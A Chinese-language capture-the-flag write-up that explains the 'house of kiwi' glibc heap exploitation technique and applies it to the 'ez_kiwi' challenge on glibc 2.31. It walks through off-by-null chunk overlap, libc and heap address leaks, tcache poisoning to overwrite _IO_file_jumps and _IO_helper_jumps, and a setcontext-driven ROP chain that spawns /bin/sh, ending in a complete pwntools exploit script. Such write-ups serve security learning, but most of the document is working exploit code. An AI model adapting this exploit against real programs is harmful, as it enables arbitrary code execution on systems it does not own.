这次要说的是house系列之house of kiwi,这个手法呢相信很多大佬都已经写过相应的文章,本菜鸟本着学习这个手法,做此文章。

适用范围是

  1. libc2.29之后的高版本

  2. 能够触发__malloc_assert

  3. 能够任意地址写

    ·修改_IO_file_jumps中指向的_IO_file_sync**(**[_IO_file_jumps+0x60]将其修改为setcontext+61)

    ·修改setcontext+61( mov rsp,QWORD PTR [rdx+0xa0])[rdx+0xa0]的地址 修改为ROP

    ·修改setcontex+294(mov rcx,QWORD PTR [rdx+0xa8])[rdx+0xa8]的地址 修改为ret

下面是我解释修改的原因

当我们成功触发_malloc_assert之后,会调用fflush(stderr)函数,里面会call[rbp+0x60] (rbp+60就是 _IO_file_sync)

当我们进入_IO_fille_sync之后发现寄存器rdx上面的值是一个定值( _IO_helper_jumps)

好巧不巧的是setcontext + 61从2.29之后变为由RDX寄存器控制寄存器了,又因为RDX始终是一个固定的地址IO_helper_jumps,那这里就有人有疑问了,修改rdx寄存器上的值有啥用呢,我们来看看setcontext+61这一部分的汇编

0x7f8dfcbac0dd <setcontext+61>:	mov    rsp,QWORD PTR [rdx+0xa0]
0x7f8dfcbac0e4 <setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
0x7f8dfcbac0eb <setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
0x7f8dfcbac0ef <setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
0x7f8dfcbac0f3 <setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
0x7f8dfcbac0f7 <setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
0x7f8dfcbac0fb <setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
0x7f8dfcbac0ff <setcontext+95>: test DWORD PTR fs:0x48,0x2
0x7f8dfcbac10b <setcontext+107>: je 0x7f8dfcbac1c6 <setcontext+294>
0x7f8dfcbac111 <setcontext+113>: mov rsi,QWORD PTR [rdx+0x3a8]
0x7f8dfcbac118 <setcontext+120>: mov rdi,rsi
0x7f8dfcbac11b <setcontext+123>: mov rcx,QWORD PTR [rdx+0x3b0]
0x7f8dfcbac122 <setcontext+130>: cmp rcx,QWORD PTR fs:0x78
0x7f8dfcbac12b <setcontext+139>: je 0x7f8dfcbac165 <setcontext+197>
0x7f8dfcbac12d <setcontext+141>: mov rax,QWORD PTR [rsi-0x8]
0x7f8dfcbac131 <setcontext+145>: and rax,0xfffffffffffffff8
0x7f8dfcbac135 <setcontext+149>: cmp rax,rsi
0x7f8dfcbac138 <setcontext+152>: je 0x7f8dfcbac140 <setcontext+160>
0x7f8dfcbac13a <setcontext+154>: sub rsi,0x8
0x7f8dfcbac13e <setcontext+158>: jmp 0x7f8dfcbac12d <setcontext+141>
0x7f8dfcbac140 <setcontext+160>: mov rax,0x1
0x7f8dfcbac147 <setcontext+167>: incsspq rax
0x7f8dfcbac14c <setcontext+172>: rstorssp QWORD PTR [rsi-0x8]
0x7f8dfcbac151 <setcontext+177>: saveprevssp
0x7f8dfcbac155 <setcontext+181>: mov rax,QWORD PTR [rdx+0x3b0]
0x7f8dfcbac15c <setcontext+188>: mov QWORD PTR fs:0x78,rax
0x7f8dfcbac165 <setcontext+197>: rdsspq rcx
0x7f8dfcbac16a <setcontext+202>: sub rcx,rdi
0x7f8dfcbac16d <setcontext+205>: je 0x7f8dfcbac18c <setcontext+236>
0x7f8dfcbac16f <setcontext+207>: neg rcx
0x7f8dfcbac172 <setcontext+210>: shr rcx,0x3
0x7f8dfcbac176 <setcontext+214>: mov esi,0xff
0x7f8dfcbac17b <setcontext+219>: cmp rcx,rsi
0x7f8dfcbac17e <setcontext+222>: cmovb rsi,rcx
0x7f8dfcbac182 <setcontext+226>: incsspq rsi
0x7f8dfcbac187 <setcontext+231>: sub rcx,rsi
0x7f8dfcbac18a <setcontext+234>: ja 0x7f8dfcbac17b <setcontext+219>
0x7f8dfcbac18c <setcontext+236>: mov rsi,QWORD PTR [rdx+0x70]
0x7f8dfcbac190 <setcontext+240>: mov rdi,QWORD PTR [rdx+0x68]
0x7f8dfcbac194 <setcontext+244>: mov rcx,QWORD PTR [rdx+0x98]
0x7f8dfcbac19b <setcontext+251>: mov r8,QWORD PTR [rdx+0x28]
0x7f8dfcbac19f <setcontext+255>: mov r9,QWORD PTR [rdx+0x30]
0x7f8dfcbac1a3 <setcontext+259>: mov r10,QWORD PTR [rdx+0xa8]
0x7f8dfcbac1aa <setcontext+266>: mov rdx,QWORD PTR [rdx+0x88]
0x7f8dfcbac1b1 <setcontext+273>: rdsspq rax
0x7f8dfcbac1b6 <setcontext+278>: cmp r10,QWORD PTR [rax]
0x7f8dfcbac1b9 <setcontext+281>: mov eax,0x0
0x7f8dfcbac1be <setcontext+286>: jne 0x7f8dfcbac1c3 <setcontext+291>
0x7f8dfcbac1c0 <setcontext+288>: push r10
0x7f8dfcbac1c2 <setcontext+290>: ret

里面基本全是mov,而且基本上都是 rdx+~~对别的寄存器的赋值,并且rdx寄存器的值是不变的,再看里面最重要的几条汇编

0x7f8dfcbac0dd <setcontext+61>:	mov    rsp,QWORD PTR [rdx+0xa0]

0x7f8dfcbac1a3 <setcontext+259>: mov r10,QWORD PTR [rdx+0xa8]

0x7f8dfcbac1c0 <setcontext+288>: push r10

0x7f8dfcbac1c2 <setcontext+290>: ret

我们可以发现,当我们正确控制[rdx+0xa0]和[rdx+0xa8]就等于说劫持了执行流。

我们再来理一下思路,原来正常触发_malloc_assert之后,

fflush–_IO_file_sync….后面退出

但是我们修改之后

fflush–setcontext+0x61–我们所控制的执行流。

威力太大了吧。

话不多说来道例题

题目链接

这是一个2.31的堆题

漏洞呢主要是在edit中存在单字节溢出

但是这个难就难在了他主动清空可用hook

因此用普通的打hook方式是行不通的,但是这个可以给你申请一个很大的堆块,我们经过溢出很容易就能造成__malloc_assert,因此用offbynull打堆块重叠泄露libc并造成任意地址写打house of kiwi,一气呵成。

_IO_file_jumps中的_IO_file_sync修改为setcontext + 61的地址,让程序执行setcontext+61中的代码;同时修改_IO_helper_jumps + 0xa0 和 _IO_helper_jumps + 0xa8分别存放有ROP的位置和ret指令的gadget位置(_IO_helper_jumps 是RDX寄存器的值,setcontext最终会先执行 rdx+0xa8紧接着执行rdx+0xa0,具体原因调试便知)。

首先,我们先泄露堆块地址

for i in range(6):
add(0xf8,i,b"\x00")
add(0xf8,7,b"a")
add(0xf8,8,b"a")
add(0xf8,9,b"a")
add(0xf8,6,b"a")
delete(1)
delete(0)
add(0xf8,0,b"a")
show(0)
p.recvuntil(b"\x20")
leak=u64(p.recv(6).ljust(8,b"\x00"))-0x8d0+0x56f
print(hex(leak))
add(0xf8,1,b"\x00")

然后利用off by null造成堆块重叠

edit(7,p64(0)+p64(0x1f1)+p64(leak+0x875+0x5b)+p64(leak+0x875+0x5b))
edit(8,b"a"*0xf0+p64(0x1f0)+b"\x00")
for i in range(6):
delete(i)
delete(6)
delete(9)

2.31的off by null额外做了一个检查

高版本的offbynull额外做的检查是,会对将要被合并的堆块(A)的size的和下下一个堆块(C)的presize比较是否相等,绕过这个检查可以在A堆块里面伪造一个堆块,使其size=堆块c+堆块b,这样就能绕过检查进行合并

注意我们这里的0xf8这个size可不是随便起的,因为申请0xf8大小的堆块,size是0x101,由于我们要将对堆块C的最低位改成零,而我们刚好能溢出“\x00”,所以0xf8是刚刚好的

重叠前:

重叠后:

这样一来,就造成了堆块重叠,然后,我们再申请并释放两个相同size的堆块,并且把第二个堆块的fd指针修改成想要修改的目标地址。再申请回来目的是让程序将**_IO_file_jumps+96识别成一个堆块,然后再修改_IO_file_jumps+96**里面的内容,这样就完成了任意地址修改。

add(0x40,1,b"a")
add(0x40,2,b"a")
show(1)
p.recvuntil(b"\x20")
libc=u64(p.recv(6).ljust(8,b"\x00"))-0x1ebe61
_IO_file_jumps=libc+0x1ed4a0
IO_helper_jumps = libc + 2017632 - 0xc0
setcontext=libc+0x580a0
print(hex(libc))
delete(2)
delete(1)
edit(7,p64(0)+p64(0x51)+p64(_IO_file_jumps+96)*2)
add(0x40,1,b"a")
add(0x40,2,b"a")
edit(2,p64(setcontext+61))

然后我们在某个堆块内布置rop,使其执行**execve(“/bin/sh”,0,0)**。

ret = libc + 0x25679
pop_rax = libc + 0x4a550
pop_rdi = libc + 0x26b72
pop_rsi = libc + 0x27529
pop_rdx_r12 = libc + 0x11c371
syscall = libc + 0x2584d
rop = p64(pop_rdx_r12) + p64(0) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rdi)
rop += p64(leak+0xbd0) +p64(pop_rax) + p64(0x3b) +p64(syscall)#leak+0xbd0 /bin/sh的地址
add(0x80,4,rop)

同样的,我们再用相同的方法修改_IO_helper_jumps + 0xa0 和 _IO_helper_jumps + 0xa8的值

add(0x40,3,b"a")
delete(3)
delete(1)
edit(7,p64(0)+p64(0x51)+p64(IO_helper_jumps+0xa0)*2)
add(0x40,1,b"a")
add(0x40,3,b"a")

edit(3,p64(leak+0x9d0)+p64(ret)) #leak+0x9d0是rop的地址,调试便知

最后触发**_malloc_assert**,并写下/bin/sh

exp:

from pwn import*
context.log_level='debug'
p=process('./ez_kiwi')
elf = ELF('ez_kiwi')
libc = ELF('libc.so.6')
#p = remote('node5.buuoj.cn', 29758)

p.sendlineafter(b'give me your name:\n', b'\x00')
def add(size,index,content):
p.sendlineafter(b'>>', b'1')
p.sendlineafter(b'How much do you want?', str(size).encode())
p.sendlineafter(b'Which one do you want to put?', str(index).encode())
p.sendafter(b'Tell me your idea:', content)
def delete(index):
p.sendlineafter(b'>>', b'2')
p.sendafter(b'Which one do you want to remove?', str(index).encode())
def show(index):
p.sendlineafter(b'>>', b'3')
p.sendafter(b'Which one do you want to look?', str(index).encode())
def edit(index,content):
p.sendlineafter(b'>>', b'4')
p.sendlineafter(b'Which one do you want to change?', str(index).encode())
p.sendlineafter(b'Change your idea:', content)
gdb.attach(p)

for i in range(6):
add(0xf8,i,b"\x00")
add(0xf8,7,b"a")
add(0xf8,8,b"a")
add(0xf8,9,b"a")
add(0xf8,6,b"a")
delete(1)
delete(0)
add(0xf8,0,b"a")
show(0)

p.recvuntil(b"\x20")
leak=u64(p.recv(6).ljust(8,b"\x00"))-0x8d0+0x56f
print(hex(leak))

add(0xf8,1,b"\x00")
edit(7,p64(0)+p64(0x1f1)+p64(leak+0x875+0x5b)+p64(leak+0x875+0x5b))
edit(8,b"a"*0xf0+p64(0x1f0)+b"\x00")
for i in range(6):
delete(i)
delete(6)
delete(9)
pause()
add(0x40,1,b"a")
add(0x40,2,b"a")
show(1)
p.recvuntil(b"\x20")
libc=u64(p.recv(6).ljust(8,b"\x00"))-0x1ebe61
_IO_file_jumps=libc+0x1ed4a0
IO_helper_jumps = libc + 2017632 - 0xc0
setcontext=libc+0x580a0
print(hex(libc))
delete(2)
delete(1)
edit(7,p64(0)+p64(0x51)+p64(_IO_file_jumps+96)*2)
add(0x40,1,b"a")
add(0x40,2,b"a")
edit(2,p64(setcontext+61))
add(0x40,3,b"a")
delete(3)
delete(1)
edit(7,p64(0)+p64(0x51)+p64(IO_helper_jumps+0xa0)*2)
add(0x40,1,b"a")
add(0x40,3,b"a")

ret = libc + 0x25679
pop_rax = libc + 0x4a550
pop_rdi = libc + 0x26b72
pop_rsi = libc + 0x27529
pop_rdx_r12 = libc + 0x11c371
syscall = libc + 0x2584d
rop = p64(pop_rdx_r12) + p64(0) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rdi)
rop += p64(leak+0xbd0) +p64(pop_rax) + p64(0x3b) +p64(syscall)
add(0x80,4,rop)
edit(3,p64(leak+0x9d0)+p64(ret))
add(0x18,5,b"a")
add(0xf8,6, b'a')
payload = b'/bin/sh\x00' * 2 +p64(0xdadabeff)*29
edit(6, payload)
#pause()
p.sendlineafter(b'>>', b'666')
p.interactive()

参考大佬:

Dest0g3 520迎新赛 pwn ez_kiwi - xtxtn’s Blog

House OF Kiwi-安全客 - 安全资讯平台 (anquanke.com)